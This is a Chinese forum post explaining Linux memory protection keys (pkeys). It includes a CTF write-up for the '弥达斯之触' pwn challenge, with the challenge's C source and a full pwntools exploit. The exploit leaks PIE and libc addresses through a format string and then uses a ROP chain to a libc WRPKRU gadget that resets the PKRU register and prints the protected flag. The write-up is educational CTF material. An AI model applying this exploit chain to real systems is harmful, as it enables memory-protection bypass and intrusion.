首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
3
25
[原创][PWN] Linux中的pkeys安全机制及绕过
发表于: 2025-12-4 20:03
14922
[原创][PWN] Linux中的pkeys安全机制及绕过
h01mes
1
2025-12-4 20:03
14922
>小记:做?CTF时遇到了daimi师傅出的弥达斯之触(<mark class="encrypted">b09K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6L8r3!0$3k6h3y4@1k6W2)9J5k6h3y4F1i4K6u0r3k6$3q4E0k6i4y4Q4x3V1j5J5i4K6u0r3j5$3S2S2L8r3I4W2L8X3N6W2M7#2)9K6c8X3W2V1i4K6y4p5x3e0f1K6i4K6t1&6i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1^5i4K6R3H3i4K6R3K6i4@1f1$3i4K6W2r3i4@1p5#2i4@1f1@1i4@1u0m8i4K6R3$3i4K6j5H3M7r3E0W2P5i4y4Q4y4U0m8Q4c8e0c8Q4b7V1k6Q4z5f1c8Q4c8e0k6Q4z5p5q4Q4b7e0c8Q4c8e0k6Q4z5f1y4Q4b7V1q4Q4c8e0g2Q4z5o6S2Q4b7U0k6Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0k6Q4z5f1k6Q4b7e0g2Q4c8e0k6Q4z5o6W2Q4b7V1g2Q4c8e0S2Q4b7U0g2Q4z5o6c8Q4c8e0k6Q4z5e0k6Q4z5e0W2Q4c8e0k6Q4z5e0N6Q4b7U0k6Q4c8e0g2Q4z5p5k6Q4z5e0q4Q4c8e0N6Q4z5p5g2Q4b7U0m8Q4c8e0N6Q4b7V1c8Q4z5e0q4Q4c8e0c8Q4b7U0S2Q4z5p5q4Q4c8e0k6Q4b7U0u0Q4b7e0q4Q4c8e0c8Q4b7V1u0Q4z5o6m8Q4c8e0c8Q4b7U0W2Q4z5o6S2Q4c8e0S2Q4b7U0g2Q4z5o6c8Q4c8e0k6Q4z5e0k6Q4z5e0W2Q4c8e0g2Q4b7f1k6Q4b7U0W2H3N6$3&6Q4c8e0c8Q4b7U0S2Q4b7f1c8Q4c8e0N6Q4z5f1q4Q4z5o6c8H3K9$3g2&6M7#2!0q4y4q4!0n7c8q4)9&6b7#2!0q4z5q4!0m8c8g2!0n7x3W2!0q4z5q4!0m8y4#2!0m8x3#2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4W2)9^5z5g2)9^5x3q4!0q4y4q4!0n7b7W2!0m8y4g2!0q4z5q4!0m8c8g2!0n7x3q4!0q4y4g2!0n7c8q4)9&6y4g2!0q4y4q4!0n7z5q4)9^5x3q4!0q4y4q4!0n7z5q4)9^5b7R3`.`.</mark> ## 简单介绍 (Memory Protection Keys for Userspace,PKU,亦 即PKEYs)内存保护键提供了一种强制实施基于页的保护机制,可以快速调整某些内存区域的执行权限,而不是像传统的`mprotect`那样,触发页表项的修改,从而导致TLB(快速查找缓存)刷新,影响性能。 先来说说传统的`mprotect()`,它的工作机制是通过修改目标内存区域的页表项(PTE)的权限位实现内存保护,属于进程全局事件,会导致TLB的刷新,因此切换权限成本高。 而`pkeys`是通过在页表中写入静态保护键标识,真正权限定义在线程局部寄存器中,需要修改目标内存区域的权限只需要修改寄存器就行了,作用局限于线程,不涉及页表和TLB的修改,权限切换非常高效。 ## x86_64实现 x86_64架构中,每个页表中,将 4 个先前保留的位专门用于一个“保护键”,从而提供**16 个可能的键**: ``` 0000 → Pkey 0 0001 → Pkey 1 0010 → Pkey 2 … 1111 → Pkey 15 ``` 每个键的保护由一个 per-CPU 用户可访问寄存器 (**PKRU**) 定义。每个 PKRU 都是一个 **32 位寄存器**,为 16 个键中的每个键存储**两位**(**访问禁用和写入禁用**)。也就是说PKRU寄存器存储16个保护键的权限,每个保护键占用2位,可以组合为4种权限,每个保护键对应的权限设置被称为一个**控制集**: ``` 00:无权限 01:只读(写入禁用) 10:无访问(访问禁用) 11:读写(无禁用) ``` 举个栗子: 假设有一个线程,它的内存中有**三个不同的区域**,并且这三个区域被分别分配了不同的保护键: ``` 区域 A(保护键 Pkey 0):只读(只能读取,不能写入) 区域 B(保护键 Pkey 1):可读可写(可以读取,也可以写入) 区域 C(保护键 Pkey 2):禁止访问(既不能读取,也不能写入) ``` 然后,线程的**PKRU 寄存器**中可能存储的内容是: ``` Pkey 0:只读 Pkey 1:可读可写 Pkey 2:禁止访问 ``` - 如果线程访问**区域 A**,它只能读取数据,无法写入。 - 如果线程访问**区域 B**,它可以同时读取和写入数据。 - 如果线程访问**区域 C**,它根本无法访问这块内存,系统会阻止这个访问。 有两条特殊指令管理保护键的读写: **RDPKRU**:用于读取当前线程的保护键权限设置。通过这条指令,CPU 将返回一个32位值,包含当前线程的所有保护键的权限设置。 **WRPKRU**:用于更新当前线程的保护键权限设置。通过这条指令,操作系统或应用程序可以修改特定保护键的访问权限。 **PKRU** 是与线程绑定的,也就是说,不同的线程可以有不同的保护键权限设置。由于 PKRU 寄存器是 **per-CPU** 的,每个线程的保护权限都可以在不同的 CPU 上独立设置。同样,当一个线程在不同的 CPU 核心上切换时,操作系统会保证 PKRU 寄存器的状态(即保护键权限)正确地切换,以确保内存访问控制的一致性。 保护键主要应用于内存页的访问控制。在数据访问时,Pkey 的权限会被强制执行,但它对指令获取(如程序代码段的访问)没有影响。这意味着x86下的Pkeys **只对用户空间内存的读写权限有控制作用,无法对代码段执行权限进行限制**。 ## arm64实现 arm64就简单介绍一下,在arm64下,Pkeys 在每个页表项中使用 3 位来编码一个“保护键索引”,从而提供 8 个可能的键: ``` 000 → Pkey 0 001 → Pkey 1 010 → Pkey 2 011 → Pkey 3 100 → Pkey 4 101 → Pkey 5 110 → Pkey 6 111 → Pkey 7 ``` 每个键的保护由一个 per-CPU 用户可写系统寄存器 (**POR_EL0**) 定义。这是一个 64 位寄存器,用于编码每个保护键索引的**读、写和执行**覆盖权限。 arm64下实现的pkeys也是线程独立的,但是arm64_pkeys的保护键权限不仅适用于数据控制访问,**也适用于程序代码的执行权限**。 ## 系统调用 有 3 个系统调用直接与 pkeys 交互: - pkey_alloc():分配一个新的保护键。 - pkey_free():释放之前分配的保护键。 - pkey_mprotect():修改内存区域的保护权限。 ### pkey_alloc() ```c int pkey_alloc(unsigned long flags, unsigned long init_access_rights); ``` 这个系统调用用来分配一个新的保护键(Pkey)。 - `flags`:控制标志,目前通常为 0。 - `init_access_rights`:设置这个保护键的初始访问权限。这个值通常会传递像 PKEY_DISABLE_WRITE 这样的标志,用于初始化该保护键的权限。 返回分配的保护键的 ID,成功时返回保护键的 ID,失败时返回负数。 ### pkey_free() ```c int pkey_free(int pkey); ``` 这个调用会释放之前分配的保护键。 - **pkey**:要释放的保护键的 ID。 成功时返回 0,失败时返回负数。 ### pkey_mprotect() ```c int pkey_mprotect(unsigned long start, size_t len, unsigned long prot, int pkey) ``` 这个调用可以修改指定内存区域的保护权限,并将其与指定的保护键关联。 - `start`:要修改保护权限的内存区域的起始地址。 - `len`:要修改的内存区域的长度。 - `prot`:新的访问权限,类似于mprotect() 中使用的 PROT_READ、PROT_WRITE 等标志。 - `pkey`:要关联的保护键。 成功时返回 0,失败时返回负数。 **下面用一道题介绍CTF PWN中pkeys的使用和绕过** ## ?CTF week3 弥达斯之触 源码: ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <memory.h> #include <sys/mman.h> #include <bpf_insn.h> #include <linux/filter.h> #include <sys/prctl.h> #include <seccomp.h> #include <stddef.h> // __attribute__((constructor)) void the_curse_of_midas() { struct sock_filter filter[] = { BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)), // 加载系统调用号到寄存器 // BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 6, 0), // BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 5, 0), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 4, 0), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 3, 0), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mmap, 2, 0), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mprotect, 1, 0), // 只允许上述调用 BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), //其他全kill BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), }; struct sock_fprog prog = { .len = sizeof(filter)/sizeof(filter[0]), .filter = filter, }; if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { perror("prctl(NO_NEW_PRIVS)"); } if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) != 0) { perror("prctl(SECCOMP)"); } asm( "mov rdx, 0xf;" "begin:;" "dec rdx;" "jz end;" "mov rax, 0x14a;"//这里是pkey_mprotect() "xor edi, edi;" "mov rsi, 1;" "syscall;" "jmp begin;" "end:;" ); } //自定义pkey,在这里实现了pkeys int _mprotect(void *addr, __int64_t len, int prot) { int pkey = (rand()%15)+1;//随机生成pkey 1~15 asm volatile( "mov rax, %4;" // syscall number "mov rdi, %0;" // 1st arg: addr "mov rsi, %1;" // 2nd arg: len "mov rdx, %2;" // 3rd arg: prot "mov r10d, %3;" // 4th arg: pkey "syscall;"//这里是pkey_alloc()(0x149) : : "r"(addr), "r"(len), "r"(prot), "r"(pkey), "i"(0x149) : "rax", "rdi", "rsi", "rdx", "r10", "rcx", "r11", "memory" ); } void init(void *secret) { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); srand(((long long)rand())>>24); int fd = open("/flag", 0, 0); read(fd, secret, 0x100); close(fd); the_curse_of_midas(); _mprotect(secret, 0x1000, 7); } char buf[0x100]; int main() { void *secret_of_midas = mmap(0x1000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); init(secret_of_midas); printf("远道而来的年轻人,你也是来寻找弥达斯的秘密吗?\n"); read(0, buf, 20); printf(buf); printf("噢不,噢不,你太心急了。\n"); _mprotect(secret_of_midas, 0x1000, 1); sleep(1); printf("那些关于黄金的诅咒,正在这片古老土地的血管里涌动。\n"); sleep(1); printf("你应当保持警惕。\n"); sleep(1); printf("那么,告诉我你的名字,我将引领你去往神圣之地:\n"); read(0, buf, 0x100); printf("有趣。去你想去的地方吧。\n"); asm("mov rbp, %0;" : : "r"(buf) ); } ``` 这里面用到了两个pkeys相关的系统调用: ``` 0x14a __NR_pkey_mprotect 给某个页设置权限 + 附加 PKey 0x149 __NR_pkey_alloc 分配一个 PKey ``` 先看这段代码: ```c asm( "mov rdx, 0xf;" "begin:;" "dec rdx;" "jz end;" "mov rax, 0x14a;" // 系统调用号 "xor edi, edi;" // addr = NULL "mov rsi, 1;" // len = 1 "syscall;" "jmp begin;" "end:;" ); ``` 正常 `pkey_mprotect(addr,len,prot,pkey)` 应用于有效内存,但这里给的地址无效 当 addr 无效时,`pkey_mprotect` 不会设置页权限,但仍然更新 pkru 中对应 pkey 的权限位 所以这里是随机修改不同 pkey 的读/写权限,使得未来分配的 pkey 权限是不可预测的 再看这段: ```c int _mprotect(void *addr, __int64_t len, int prot) { int pkey = (rand()%15)+1; asm volatile( "mov rax, %4;" // syscall number "mov rdi, %0;" // 1st arg: addr "mov rsi, %1;" // 2nd arg: len "mov rdx, %2;" // 3rd arg: prot "mov r10d, %3;" // 4th arg: pkey "syscall;" : : "r"(addr), "r"(len), "r"(prot), "r"(pkey), "i"(0x149) : "rax", "rdi", "rsi", "rdx", "r10", "rcx", "r11", "memory" ); } ``` 其内部随机选择 pkey,而当后面flag 所在内存执行这句: ```c _mprotect(secret, 0x1000, 7); ``` 会从1~15随机选取一个pkey,而这 15 个 key 此时权限早已被 `the_curse_of_midas()` 随机污染 所以当`_mprotect`绑定页时,权限不可预测,大多数情况下不能直接读,限制了读取flag 看这里: ```c _mprotect(secret, 0x1000, 7); ``` 7 = ``` PROT_READ(1) | PROT_WRITE(2) | PROT_EXEC(4) ``` 此时页表层面权限是RWX,但PKRU层面是根据pkey附加限制覆盖访问权限的,所以最后大概率不能直接读flag **那么如何绕过呢?** 之前提到有两条特殊指令管理保护键的读写,分别是`RDPKRU`和`WRPKRU`,其中`WRPKRU`可以修改特定保护键的访问权限。 在题目给的libc库中寻找这条指令:  偏移是`0x126256` `WRPKRU`的使用约束是 **ECX 和 EDX 必须为 0**。如果不满足,结果未定义或者会 #UD(非法指令行为) PKRU权限表如下: | AD | WD | 含义 | | -- | -- | -------------- | | 0 | 0 | 读写允许(R/W) | | 0 | 1 | 只读(R) | | 1 | 0 | 禁止访问(既不能读也不能写) | | 1 | 1 | 禁止访问(同上) | 而参照这个表,我们肯定想修改目标区域权限为`00`(可读可写),而在EAX(装载 PKRU 的值)里写一个0,`EAX = 0x00000000` 直接就可以把全部pkey权限都变成`00` | pkey | 对应 PKRU bit | | ---- | ----------- | | 0 | bit 1..0 | | 1 | bit 3..2 | | 2 | bit 5..4 | | … | … | | 15 | bit 31..30 | | 所有 pkey | AD = 0 | WD = 0 | 权限 | | ------- | ------ | ------ | --- | | PKEY 0 | 0 | 0 | 可读写 | | PKEY 1 | 0 | 0 | 可读写 | | PKEY 2 | 0 | 0 | 可读写 | | … | … | … | … | | PKEY 15 | 0 | 0 | 可读写 | 知道这些就可以写exp了 先看fmt的偏移  0x1的偏移是8  用这条绕过pie(其实没必要,顺手绕一下),fmt偏移是11,程序基址偏移是0x153B   这条泄露libc,fmt偏移是29,libc偏移是0x29e40 在根目录放个flag测试文件 exp ```python from pwn import * context.arch='amd64' context.log_level='debug' #p=remote('challenge.ilovectf.cn',30377) p=process('./midas') elf=ELF('./midas') libc=ELF('./libc.so.6') fmt=b'%11$p%29$p' p.recvuntil('\n') p.send(fmt) p.recvuntil(b'0x') base=int(p.recv(12),16)-0x153b success(f"pie:{hex(base)}") p.recvuntil(b'0x') libcbase=int(p.recv(12),16)-0x29e40 success(f"libc:{hex(libcbase)}") wrpkru=libcbase+0x126256 rdi = libcbase + libc.search(asm("pop rdi; ret"), executable=True).__next__() rsi = libcbase + libc.search(asm("pop rsi; ret"), executable=True).__next__() dx_cx_bx = libcbase + libc.search(asm("pop rdx; pop rcx; pop rbx; ret;"), executable=True).__next__() rax = libcbase + libc.search(asm("pop rax; ret"), executable=True).__next__() pl=b'a'*8+p64(rdi+1)+p64(dx_cx_bx)+p64(0)*3+p64(rax)+p64(0)+p64(wrpkru)+p64(rdi)+p64(0x10000)+p64(libcbase+libc.sym['puts']) sleep(3) #gdb.attach(p) p.send(pl) p.interactive() ``` 在输入后打个断点,看到此时pkru寄存器的值是`0x55555554`  被改成了`0x0`  成功绕过并输出flag  >exp小贴士:可以注意到payload中在覆盖掉rbp后,又加了一个`p64(rdi+1)`(=`ret`),这是为了保证栈对齐 >\ >在调用libc时,调用点的**RSP必须是16字节对齐**(即进入`call`时 **RSP%16 == 8**),这是为了满足 System V ABI 对齐规则 >非常感谢daimi师傅的帮助
回复或点赞可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
#基础知识
#漏洞机制
#溢出
#题解集锦
上传的附件:
midas
(16.38kb,6次下载)
libc.so.6
(2.12MB,6次下载)
ld-linux-x86-64.so.2
(235.29kb,6次下载)
收藏
・
3
点赞
・
25
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
mb_dvqqrcce
你的帖子非常有用,感谢分享!
2026-9-11 17:14
git_51951meggadf3df
非常支持你的观点!
2026-9-11 10:47
mb_lthgjpwj
为你点赞!
2026-8-21 08:20
autorun886
感谢你分享这么好的资源!
2026-8-3 15:30
wx_晨梦
感谢你分享这么好的资源!
2026-7-16 07:36
Colol4bi5
+1
这个讨论对我很有帮助,谢谢!
2026-6-8 15:29
DetLFY
谢谢你的细致分析,受益匪浅!
2026-5-18 11:18
npc0vo
为你点赞!
2026-4-25 21:44
mb_xpqzxpkj
感谢你的积极参与,期待更多精彩内容!
2026-3-11 21:39
狗狗不赖啊
你的分享对大家帮助很大,非常感谢!
2026-2-6 11:36
mb_rrvlrvbk
感谢你分享这么好的资源!
2026-1-22 21:48
Eluvies
这个讨论对我很有帮助,谢谢!
2025-12-10 20:40
git_35205FeghPS
期待更多优质内容的分享,论坛有你更精彩!
2025-12-8 22:05
hkdong
为你点赞!
2025-12-8 12:54
GUANZHI_
+1
你的分享对大家帮助很大,非常感谢!
2025-12-7 11:54
5k1l
谢谢你的细致分析,受益匪浅!
2025-12-7 09:13
mb_dzntuqwg
非常支持你的观点!
2025-12-5 15:43
flyyyy
+10
为你点赞!
2025-12-5 14:22
Qanux
你的分享对大家帮助很大,非常感谢!
2025-12-5 14:09
L4zy0xE4
你的分享对大家帮助很大,非常感谢!
2025-12-5 09:33
ONewTach
你的分享对大家帮助很大,非常感谢!
2025-12-5 09:06
UserXCh
为你点赞!
2025-12-5 08:07
huangyalei
为你点赞!
2025-12-4 23:39
zer00ne
为你点赞!
2025-12-4 23:26
winmt
你的分享对大家帮助很大,非常感谢!
2025-12-4 22:34
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
huangjw
雪 币:
6691
活跃值:
(11877)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
511
粉丝
2
关注
私信
huangjw
2
楼
好文章
2025-12-5 09:12
0
cjycjw
雪 币:
1224
活跃值:
(1520)
能力值:
( LV4,RANK:40 )
在线值:
发帖
4
回帖
11
粉丝
7
关注
私信
cjycjw
3
楼
pkeys是啥,学习一下
2025-12-5 14:19
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
h01mes
1
3
发帖
4
回帖
40
RANK
关注
私信
他的文章
[原创]usbliter8--新型iPhone BootROM漏洞
3447
[原创][安全启动链破坏][EL3级任意代码执行]记一次对Nothing Phone手机的漏洞利用链的研究
4031
[原创][PWN] Linux中的pkeys安全机制及绕过
14922
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
谁下载
×
huangyalei
ONewTach
GUANZHI_
npc0vo
zer00ne
mb_lthgjpwj
谁下载
×
huangyalei
ONewTach
GUANZHI_
npc0vo
zer00ne
mb_lthgjpwj
谁下载
×
huangyalei
ONewTach
GUANZHI_
npc0vo
zer00ne
mb_lthgjpwj
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部